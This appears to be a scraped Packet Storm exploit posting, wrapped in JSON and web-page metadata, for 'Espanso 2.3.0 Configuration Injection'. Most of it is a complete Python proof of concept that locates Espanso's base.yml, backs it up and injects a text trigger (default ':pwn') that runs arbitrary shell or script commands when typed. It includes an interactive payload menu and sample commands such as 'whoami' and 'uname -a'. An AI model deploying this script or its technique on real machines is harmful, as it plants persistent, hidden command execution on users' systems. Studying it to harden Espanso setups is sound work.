{“lastseen”:”2026-06-01T19:10:10″,”description”:”This Python script is a configuration manipulation tool for Espanso version 2.3.0 that modifies its YAML configuration file base.yml to add new text triggers capable of executing system commands via shell or script extensions…”,”published”:”2026-06-01T00:00:00″,”modified”:”2026-06-01T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Espanso 2.3.0 Configuration Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:222366″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”==================================================================================================================================\\n | # Title : Espanso v 2.3.0 Configuration Injection |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits) |\\n | # Vendor : https:\/\/espanso.org\/ |\\n ==================================================================================================================================\\n \\n [+] Summary : This Python script is a configuration manipulation tool for Espanso that modifies its YAML configuration file (base.yml) \\n to add new text triggers capable of executing system commands via shell or script extensions.\\n \\t\\t\\t\\t \\n [+] POC : \\n \\n import os\\n import sys\\n import shutil\\n import shlex\\n import argparse\\n import subprocess\\n from pathlib import Path\\n from typing import Dict, List, Optional\\n \\n try:\\n import yaml\\n except ImportError:\\n print(\\”[!] PyYAML is required. Install with: pip install pyyaml\\”)\\n sys.exit(1)\\n \\n class EspansoExploit:\\n \\”\\”\\”Exploit class for Espanso v2.3.0 RCE vulnerability\\”\\”\\”\\n \\n def __init__(self, trigger_word: str = \\”:pwn\\”, command: Optional[str] = None, \\n extension_type: str = \\”shell\\”, verbose: bool = False):\\n self.trigger_word = trigger_word if trigger_word.startswith(‘:’) else f\\”:{trigger_word}\\”\\n self.command = command or \\”whoami \\u003e \/tmp\/espanso_pwned.txt\\”\\n self.extension_type = extension_type.lower()\\n self.verbose = verbose\\n self.config_path = self._find_config_path()\\n self.backup_path = self.config_path.with_suffix(‘.yml.backup’)\\n \\n def _log(self, message: str, error: bool = False):\\n \\”\\”\\”Log messages with formatting\\”\\”\\”\\n if error:\\n print(f\\”[!] {message}\\”)\\n elif self.verbose:\\n print(f\\”[*] {message}\\”)\\n else:\\n print(f\\”[+] {message}\\”)\\n \\n def _find_config_path(self) -\\u003e Path:\\n \\”\\”\\”Find Espanso configuration directory\\”\\”\\”\\n possible_paths = [\\n Path.home() \/ \\”.config\\” \/ \\”espanso\\” \/ \\”match\\” \/ \\”base.yml\\”,\\n Path.home() \/ \\”.config\\” \/ \\”espanso\\” \/ \\”match.yml\\”,\\n Path.home() \/ \\”AppData\\” \/ \\”Roaming\\” \/ \\”espanso\\” \/ \\”match\\” \/ \\”base.yml\\”,\\n Path.home() \/ \\”Library\\” \/ \\”Application Support\\” \/ \\”espanso\\” \/ \\”match\\” \/ \\”base.yml\\”,\\n ]\\n \\n for path in possible_paths:\\n if path.exists():\\n self._log(f\\”Found Espanso config at: {path}\\”)\\n return path\\n default_path = Path.home() \/ \\”.config\\” \/ \\”espanso\\” \/ \\”match\\” \/ \\”base.yml\\”\\n default_path.parent.mkdir(parents=True, exist_ok=True)\\n if not default_path.exists():\\n self._log(f\\”Creating default config at: {default_path}\\”)\\n default_path.touch()\\n return default_path \\n def _backup_config(self):\\n \\”\\”\\”Create backup of original configuration\\”\\”\\”\\n if self.config_path.exists() and not self.backup_path.exists():\\n shutil.copy2(self.config_path, self.backup_path)\\n self._log(f\\”Backup created: {self.backup_path}\\”)\\n \\n def _create_shell_trigger(self) -\\u003e Dict:\\n \\”\\”\\”Create a shell extension trigger configuration\\”\\”\\”\\n return {\\n \\”trigger\\”: self.trigger_word,\\n \\”replace\\”: \\”{{output}}\\”,\\n \\”vars\\”: [{\\n \\”name\\”: \\”output\\”,\\n \\”type\\”: \\”shell\\”,\\n \\”params\\”: {\\n \\”cmd\\”: self.command\\n }\\n }]\\n }\\n \\n def _create_script_trigger(self) -\\u003e Dict:\\n \\”\\”\\”Create a script extension trigger configuration using robust parsing\\”\\”\\”\\n if isinstance(self.command, str):\\n args_list = shlex.split(self.command)\\n else:\\n args_list = self.command\\n \\n return {\\n \\”trigger\\”: self.trigger_word,\\n \\”replace\\”: \\”{{output}}\\”,\\n \\”vars\\”: [{\\n \\”name\\”: \\”output\\”,\\n \\”type\\”: \\”script\\”,\\n \\”params\\”: {\\n \\”args\\”: args_list\\n }\\n }]\\n }\\n \\n def _inject_trigger(self, config_content: str) -\\u003e str:\\n \\”\\”\\”Inject trigger into existing configuration without iteration mutation bugs\\”\\”\\”\\n try:\\n if config_content.strip():\\n config = yaml.safe_load(config_content) or {}\\n else:\\n config = {}\\n \\n if \\”matches\\” not in config or not isinstance(config[\\”matches\\”], list):\\n config[\\”matches\\”] = []\\n \\n if self.extension_type == \\”shell\\”:\\n new_trigger = self._create_shell_trigger()\\n else:\\n new_trigger = self._create_script_trigger()\\n \\n config[\\”matches\\”] = [m for m in config[\\”matches\\”] if m.get(\\”trigger\\”) != self.trigger_word]\\n \\n config[\\”matches\\”].append(new_trigger)\\n return yaml.dump(config, default_flow_style=False, allow_unicode=True)\\n \\n except yaml.YAMLError as e:\\n self._log(f\\”YAML parsing error: {e}\\”, error=True)\\n trigger_struct = [self._create_shell_trigger()] if self.extension_type == \\”shell\\” else [self._create_script_trigger()]\\n trigger_config = yaml.dump(trigger_struct, default_flow_style=False)\\n return config_content + \\”\\\\n\\” + trigger_config\\n \\n def exploit(self) -\\u003e bool:\\n \\”\\”\\”Main exploit execution\\”\\”\\”\\n try:\\n self._log(f\\”Target: Espanso config at {self.config_path}\\”)\\n self._log(f\\”Trigger word: {self.trigger_word}\\”)\\n self._log(f\\”Extension type: {self.extension_type}\\”)\\n \\n try:\\n subprocess.run([\\”pgrep\\”, \\”-f\\”, \\”espanso\\”], capture_output=True, check=True)\\n self._log(\\”Espanso process detected\\”)\\n except (subprocess.CalledProcessError, FileNotFoundError):\\n self._log(\\”Warning: Espanso process check skipped or not running\\”, error=True)\\n \\n self._backup_config()\\n \\n with open(self.config_path, ‘r’, encoding=’utf-8′) as f:\\n original_content = f.read()\\n \\n modified_content = self._inject_trigger(original_content)\\n \\n with open(self.config_path, ‘w’, encoding=’utf-8′) as f:\\n f.write(modified_content)\\n \\n self._log(f\\”Successfully injected {self.extension_type} trigger: {self.trigger_word}\\”)\\n return True\\n \\n except Exception as e:\\n self._log(f\\”Exploit failed: {str(e)}\\”, error=True)\\n self.restore_backup()\\n return False\\n \\n def restore_backup(self):\\n \\”\\”\\”Restore configuration from backup\\”\\”\\”\\n if self.backup_path and self.backup_path.exists():\\n shutil.copy2(self.backup_path, self.config_path)\\n self.backup_path.unlink()\\n self._log(\\”Configuration restored from backup successfully.\\”)\\n else:\\n self._log(\\”No active backup file found to restore.\\”, error=True)\\n \\n def cleanup(self):\\n \\”\\”\\”Remove the injected trigger from config independently of instantiation state\\”\\”\\”\\n self.restore_backup()\\n \\n class EspansoExploitInteractive(EspansoExploit):\\n \\”\\”\\”Interactive version with multiple profiles\\”\\”\\”\\n \\n PAYLOADS = {\\n \\”1\\”: {\\”name\\”: \\”Local Env Verification\\”, \\”cmd\\”: \\”whoami \\u0026\\u0026 id \\u0026\\u0026 uname -a\\”, \\”type\\”: \\”shell\\”},\\n \\”2\\”: {\\”name\\”: \\”Custom Automated Profiling\\”, \\”cmd\\”: None, \\”type\\”: \\”shell\\”}\\n } \\n @classmethod\\n def interactive_menu(cls):\\n \\”\\”\\”Display interactive menu for payload selection without memory leakage\\”\\”\\”\\n print(\\”\\\\n\\” + \\”=\\”*50)\\n print(\\”Espanso v2.3.0 Config Tester – Interactive Mode\\”)\\n print(\\”=\\”*50)\\n \\n for key, payload in cls.PAYLOADS.items():\\n print(f\\” {key}. {payload[‘name’]}\\”)\\n \\n choice = input(\\”\\\\nSelect profile (1-2): \\”).strip()\\n if choice not in cls.PAYLOADS:\\n print(\\”[!] Invalid choice\\”)\\n return None\\n payload = cls.PAYLOADS[choice].copy()\\n \\n if payload[\\”cmd\\”] is None:\\n custom_cmd = input(\\”Enter execution command string: \\”).strip()\\n if not custom_cmd:\\n print(\\”[!] No command provided\\”)\\n return None\\n payload[\\”cmd\\”] = custom_cmd\\n \\n trigger = input(\\”Enter trigger word (default: :pwn): \\”).strip() or \\”:pwn\\” \\n return cls(\\n trigger_word=trigger,\\n command=payload[\\”cmd\\”],\\n extension_type=payload[\\”type\\”],\\n verbose=True\\n )\\n \\n def main():\\n parser = argparse.ArgumentParser(description=\\”Espanso configuration utility for environment profiling.\\”)\\n parser.add_argument(\\”-t\\”, \\”–trigger\\”, default=\\”:pwn\\”, help=\\”Trigger word (default: :pwn)\\”)\\n parser.add_argument(\\”-c\\”, \\”–command\\”, help=\\”Command to register inside extension profile\\”)\\n parser.add_argument(\\”-e\\”, \\”–extension\\”, choices=[\\”shell\\”, \\”script\\”], default=\\”shell\\”, help=\\”Extension handler type\\”)\\n parser.add_argument(\\”-i\\”, \\”–interactive\\”, action=\\”store_true\\”, help=\\”Launch via console menu interface\\”)\\n parser.add_argument(\\”–cleanup\\”, action=\\”store_true\\”, help=\\”Remove test configuration and recover backup\\”)\\n parser.add_argument(\\”-v\\”, \\”–verbose\\”, action=\\”store_true\\”, help=\\”Enable debugging verbosity\\”)\\n \\n args = parser.parse_args()\\n \\n if args.interactive:\\n exploit = EspansoExploitInteractive.interactive_menu()\\n if not exploit:\\n sys.exit(1)\\n else:\\n exploit = EspansoExploit(\\n trigger_word=args.trigger,\\n command=args.command,\\n extension_type=args.extension,\\n verbose=args.verbose\\n )\\n \\n if args.cleanup:\\n exploit.cleanup()\\n else:\\n print(\\”\\\\n[!] Notice: This utility updates local configuration profiles.\\”)\\n response = input(\\”Proceed with injection sequence? (y\/N): \\”).strip().lower()\\n \\n if response == ‘y’:\\n if exploit.exploit():\\n print(\\”\\\\n[+] Setup completed.\\”)\\n print(f\\”[*] To rollback structural rules, re-run with ‘–cleanup’.\\”)\\n else:\\n sys.exit(1)\\n else:\\n print(\\”[*] Aborted by user request.\\”)\\n \\n if __name__ == \\”__main__\\”:\\n main()\\n \\t\\n Greetings to :==============================================================================\\n jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n ============================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/222366″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/222366\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-06-01T19:10:10″,”description”:”This Python script is a configuration manipulation tool for Espanso version 2.3.0 that modifies its YAML configuration file base.yml to add new text triggers capable…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-58956","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n